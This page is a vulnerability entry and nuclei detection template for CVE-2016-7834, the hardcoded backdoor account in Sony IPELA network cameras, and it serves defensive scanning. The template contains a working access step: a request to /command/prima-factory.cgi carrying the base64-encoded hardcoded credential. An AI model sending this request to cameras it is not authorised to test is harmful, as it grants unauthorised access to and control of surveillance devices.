Sony IPELA Engine IP Camera - Hardcoded Account

highseverity

8.8CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.

Impact

An attacker can gain unauthorized access to the camera and potentially control its functions.

Fix

Upgrade to the latest version of the firmware provided by Sony.

How to confirm it

Send: GET {{BaseURL}}/command/prima-factory.cgi
Positive when: contains in header "gen5th" or "gen6th" AND status 204

Run it with nuclei: nuclei -id CVE-2016-7834 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-7834

info:
  name: Sony IPELA Engine IP Camera - Hardcoded Account
  author: af001
  severity: high
  description: |
    Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
  impact: |
    An attacker can gain unauthorized access to the camera and potentially control its functions.
  remediation: |
    Upgrade to the latest version of the firmware provided by Sony.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
    - https://jvn.jp/en/vu/JVNVU96435227/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7834
    - https://www.sony.co.uk/pro/article/sony-new-firmware-for-network-cameras
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-7834
    cwe-id: CWE-200
    epss-score: 0.03869
    epss-percentile: 0.90282
    cpe: cpe:2.3:o:sony:snc_series_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sony
    product: snc_series_firmware
  tags: cve2016,cve,sony,backdoor,unauth,telnet,iot,camera,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"

    headers:
      Authorization: Bearer cHJpbWFuYTpwcmltYW5h

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'gen5th'
          - 'gen6th'
        condition: or

      - type: status
        status:
          - 204

References

Use this check only on systems you are authorised to test. Where the data comes from